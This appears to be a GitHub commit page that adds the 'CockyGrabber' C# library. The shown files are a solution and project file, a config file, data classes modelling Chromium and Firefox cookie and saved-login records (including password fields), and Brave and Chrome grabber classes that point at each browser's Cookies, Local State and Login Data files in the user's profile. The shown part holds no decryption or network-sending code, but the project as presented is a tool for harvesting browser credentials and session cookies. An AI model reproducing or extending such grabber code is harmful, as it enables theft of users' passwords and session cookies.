Skip to content

Commit 2199b92

Browse files
authored
Add new CockyGrabber project files
1 parent d429921 commit 2199b92

16 files changed

Lines changed: 1209 additions & 0 deletions

CockyGrabber/CockyGrabber.sln

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.31410.357
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CockyGrabber", "CockyGrabber\CockyGrabber.csproj", "{4B568F36-1D92-4937-A8A0-F9960B1F14BA}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{4B568F36-1D92-4937-A8A0-F9960B1F14BA}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
GlobalSection(ExtensibilityGlobals) = postSolution
23+
SolutionGuid = {D768DD95-A03D-46FB-8828-8C061F8D5195}
24+
EndGlobalSection
25+
EndGlobal
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<configuration>
3+
<configSections>
4+
<!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
5+
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
6+
</configSections>
7+
<entityFramework>
8+
<providers>
9+
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
10+
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
11+
</providers>
12+
</entityFramework>
13+
<system.data>
14+
<DbProviderFactories>
15+
<remove invariant="System.Data.SQLite.EF6" />
16+
<add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
17+
<remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
18+
</system.data>
19+
</configuration>
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
namespace CockyGrabber
2+
{
3+
public static class Chromium
4+
{
5+
public class Cookie
6+
{
7+
public long CreationUTC { get; set; }
8+
public string TopFrameSiteKey { get; set; }
9+
public string HostKey { get; set; }
10+
public string Name { get; set; }
11+
public string Value { get; set; }
12+
public string EncryptedValue { get; set; }
13+
public string Path { get; set; }
14+
public long ExpiresUTC { get; set; }
15+
public bool IsSecure { get; set; }
16+
public bool IsHttpOnly { get; set; }
17+
public long LastAccessUTC { get; set; }
18+
public bool HasExpires { get; set; }
19+
public bool IsPersistent { get; set; }
20+
public short Priority { get; set; }
21+
public short Samesite { get; set; }
22+
public short SourceScheme { get; set; }
23+
public int SourcePort { get; set; }
24+
public bool IsSameParty { get; set; }
25+
}
26+
public class Login
27+
{
28+
public string OriginUrl { get; set; }
29+
public string ActionUrl { get; set; }
30+
public string UsernameElement { get; set; }
31+
public string UsernameValue { get; set; }
32+
public string PasswordElement { get; set; }
33+
public string PasswordValue { get; set; }
34+
public string SubmitElement { get; set; }
35+
public string SignonRealm { get; set; }
36+
public long DateCreated { get; set; }
37+
public bool IsBlacklistedByUser { get; set; }
38+
public int Scheme { get; set; }
39+
public int PasswordType { get; set; }
40+
public int TimesUsed { get; set; }
41+
public string FormData { get; set; }
42+
public string DisplayName { get; set; }
43+
public string IconUrl { get; set; }
44+
public string FederationUrl { get; set; }
45+
public int SkipZeroClick { get; set; }
46+
public int GenerationUploadStatus { get; set; }
47+
public string PossibleUsernamePairs { get; set; }
48+
public int Id { get; set; }
49+
public long DateLastUsed { get; set; }
50+
public string MovingBlockedFor { get; set; }
51+
public long DatePasswordModified { get; set; }
52+
}
53+
public enum CookieHeader
54+
{
55+
creation_utc,
56+
top_frame_site_key,
57+
host_key,
58+
name,
59+
value,
60+
encrypted_value,
61+
path,
62+
expires_utc,
63+
is_secure,
64+
is_httponly,
65+
last_access_utc,
66+
has_expires,
67+
is_persistent,
68+
priority,
69+
samesite,
70+
source_scheme,
71+
source_port,
72+
is_same_party,
73+
}
74+
public enum LoginHeader
75+
{
76+
origin_url,
77+
action_url,
78+
username_element,
79+
username_value,
80+
password_element,
81+
password_value,
82+
submit_element,
83+
signon_realm,
84+
date_created,
85+
blacklisted_by_user,
86+
scheme,
87+
password_type,
88+
times_used,
89+
form_data,
90+
display_name,
91+
icon_url,
92+
federation_url,
93+
skip_zero_click,
94+
generation_upload_status,
95+
possible_username_pairs,
96+
id,
97+
date_last_used,
98+
moving_blocked_for,
99+
date_password_modified
100+
}
101+
}
102+
}
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.props" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" />
4+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
5+
<PropertyGroup>
6+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
7+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
8+
<ProjectGuid>{4B568F36-1D92-4937-A8A0-F9960B1F14BA}</ProjectGuid>
9+
<OutputType>Library</OutputType>
10+
<AppDesignerFolder>Properties</AppDesignerFolder>
11+
<RootNamespace>CockyGrabber</RootNamespace>
12+
<AssemblyName>CockyGrabber</AssemblyName>
13+
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
14+
<FileAlignment>512</FileAlignment>
15+
<Deterministic>true</Deterministic>
16+
<NuGetPackageImportStamp>
17+
</NuGetPackageImportStamp>
18+
</PropertyGroup>
19+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
20+
<DebugSymbols>true</DebugSymbols>
21+
<DebugType>full</DebugType>
22+
<Optimize>false</Optimize>
23+
<OutputPath>bin\Debug\</OutputPath>
24+
<DefineConstants>DEBUG;TRACE</DefineConstants>
25+
<ErrorReport>prompt</ErrorReport>
26+
<WarningLevel>4</WarningLevel>
27+
</PropertyGroup>
28+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
29+
<DebugType>pdbonly</DebugType>
30+
<Optimize>true</Optimize>
31+
<OutputPath>bin\Release\</OutputPath>
32+
<DefineConstants>TRACE</DefineConstants>
33+
<ErrorReport>prompt</ErrorReport>
34+
<WarningLevel>4</WarningLevel>
35+
</PropertyGroup>
36+
<ItemGroup>
37+
<Reference Include="BouncyCastle.Crypto, Version=1.8.9.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
38+
<HintPath>..\packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll</HintPath>
39+
</Reference>
40+
<Reference Include="EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
41+
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll</HintPath>
42+
</Reference>
43+
<Reference Include="EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
44+
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll</HintPath>
45+
</Reference>
46+
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
47+
<HintPath>..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll</HintPath>
48+
</Reference>
49+
<Reference Include="System" />
50+
<Reference Include="System.ComponentModel.DataAnnotations" />
51+
<Reference Include="System.Core" />
52+
<Reference Include="System.Data.SQLite, Version=1.0.115.5, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
53+
<HintPath>..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\lib\net46\System.Data.SQLite.dll</HintPath>
54+
</Reference>
55+
<Reference Include="System.Data.SQLite.EF6, Version=1.0.115.5, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
56+
<HintPath>..\packages\System.Data.SQLite.EF6.1.0.115.5\lib\net46\System.Data.SQLite.EF6.dll</HintPath>
57+
</Reference>
58+
<Reference Include="System.Data.SQLite.Linq, Version=1.0.115.5, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
59+
<HintPath>..\packages\System.Data.SQLite.Linq.1.0.115.5\lib\net46\System.Data.SQLite.Linq.dll</HintPath>
60+
</Reference>
61+
<Reference Include="System.Runtime.Serialization" />
62+
<Reference Include="System.Security" />
63+
<Reference Include="System.Security.Cryptography.ProtectedData, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
64+
<HintPath>..\packages\System.Security.Cryptography.ProtectedData.6.0.0\lib\net461\System.Security.Cryptography.ProtectedData.dll</HintPath>
65+
</Reference>
66+
<Reference Include="System.Web.Extensions" />
67+
<Reference Include="System.Xml.Linq" />
68+
<Reference Include="System.Data.DataSetExtensions" />
69+
<Reference Include="Microsoft.CSharp" />
70+
<Reference Include="System.Data" />
71+
<Reference Include="System.Net.Http" />
72+
<Reference Include="System.Xml" />
73+
</ItemGroup>
74+
<ItemGroup>
75+
<Compile Include="Chromium\Chromium.cs" />
76+
<Compile Include="Grabbers\BraveGrabber.cs" />
77+
<Compile Include="Grabbers\OperaGrabber.cs" />
78+
<Compile Include="Grabbers\EdgeGrabber.cs" />
79+
<Compile Include="Grabbers\VivaldiGrabber.cs" />
80+
<Compile Include="Grabbers\ChromiumGrabber.cs" />
81+
<Compile Include="Grabbers\OperaGxGrabber.cs" />
82+
<Compile Include="Grabbers\ChromeGrabber.cs" />
83+
<Compile Include="Grabbers\FirefoxGrabber.cs" />
84+
<Compile Include="Firefox\Firefox.cs" />
85+
<Compile Include="Properties\AssemblyInfo.cs" />
86+
</ItemGroup>
87+
<ItemGroup />
88+
<ItemGroup>
89+
<None Include="App.config" />
90+
<None Include="packages.config" />
91+
</ItemGroup>
92+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
93+
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
94+
<PropertyGroup>
95+
<ErrorText>Dieses Projekt verweist auf mindestens ein NuGet-Paket, das auf diesem Computer fehlt. Verwenden Sie die Wiederherstellung von NuGet-Paketen, um die fehlenden Dateien herunterzuladen. Weitere Informationen finden Sie unter "http://go.microsoft.com/fwlink/?LinkID=322105". Die fehlende Datei ist "{0}".</ErrorText>
96+
</PropertyGroup>
97+
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.props'))" />
98+
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.targets'))" />
99+
<Error Condition="!Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\build\net46\Stub.System.Data.SQLite.Core.NetFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\build\net46\Stub.System.Data.SQLite.Core.NetFramework.targets'))" />
100+
</Target>
101+
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.targets" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" />
102+
<Import Project="..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\build\net46\Stub.System.Data.SQLite.Core.NetFramework.targets" Condition="Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.115.5\build\net46\Stub.System.Data.SQLite.Core.NetFramework.targets')" />
103+
</Project>
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
namespace CockyGrabber
2+
{
3+
public static class Firefox
4+
{
5+
public class Cookie
6+
{
7+
public int Id { get; set; }
8+
public string OriginAttributes { get; set; }
9+
public string Name { get; set; }
10+
public string Value { get; set; }
11+
public string Host { get; set; }
12+
public string Path { get; set; }
13+
public long Expiry { get; set; }
14+
public long LastAccessed { get; set; }
15+
public long CreationTime { get; set; }
16+
public bool IsSecure { get; set; }
17+
public bool IsHttpOnly { get; set; }
18+
public bool InBrowserElement { get; set; }
19+
public short SameSite { get; set; }
20+
public short RawSameSite { get; set; }
21+
public short SchemeMap { get; set; }
22+
}
23+
public class Login
24+
{
25+
public int Id { get; set; }
26+
public string Hostname { get; set; }
27+
public string HttpRealm { get; set; }
28+
public string FormSubmitURL { get; set; }
29+
public string UsernameField { get; set; }
30+
public string PasswordField { get; set; }
31+
public string EncryptedUsername { get; set; }
32+
public string EncryptedPassword { get; set; }
33+
public string Guid { get; set; }
34+
public short EncType { get; set; }
35+
public long TimeCreated { get; set; }
36+
public long TimeLastUsed { get; set; }
37+
public long TimePasswordChanged { get; set; }
38+
public int TimesUsed { get; set; }
39+
}
40+
public enum CookieHeader
41+
{
42+
id,
43+
originAttributes,
44+
name,
45+
value,
46+
host,
47+
path,
48+
expiry,
49+
lastAccessed,
50+
creationTime,
51+
isSecure,
52+
isHttpOnly,
53+
inBrowserElement,
54+
sameSite,
55+
rawSameSite,
56+
schemeMap,
57+
}
58+
public enum LoginHeader
59+
{
60+
id,
61+
hostname,
62+
httpRealm,
63+
formSubmitURL,
64+
usernameField,
65+
passwordField,
66+
encryptedUsername,
67+
encryptedPassword,
68+
guid,
69+
encType,
70+
timeCreated,
71+
timeLastUsed,
72+
timePasswordChanged,
73+
timesUsed,
74+
}
75+
}
76+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
using System;
2+
3+
namespace CockyGrabber.Grabbers
4+
{
5+
public class BraveGrabber : ChromiumGrabber
6+
{
7+
public override string ChromiumBrowserCookiePath
8+
{
9+
get
10+
{
11+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies";
12+
}
13+
}
14+
public override string ChromiumBrowserLocalStatePath
15+
{
16+
get
17+
{
18+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State";
19+
}
20+
}
21+
public override string ChromiumBrowserLoginDataPath
22+
{
23+
get
24+
{
25+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data";
26+
}
27+
}
28+
}
29+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
using System;
2+
3+
namespace CockyGrabber.Grabbers
4+
{
5+
public class ChromeGrabber : ChromiumGrabber
6+
{
7+
public override string ChromiumBrowserCookiePath
8+
{
9+
get
10+
{
11+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
12+
}
13+
}
14+
public override string ChromiumBrowserLocalStatePath
15+
{
16+
get
17+
{
18+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State";
19+
}
20+
}
21+
public override string ChromiumBrowserLoginDataPath
22+
{
23+
get
24+
{
25+
return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
26+
}
27+
}
28+
}
29+
}

0 commit comments

Comments
 (0)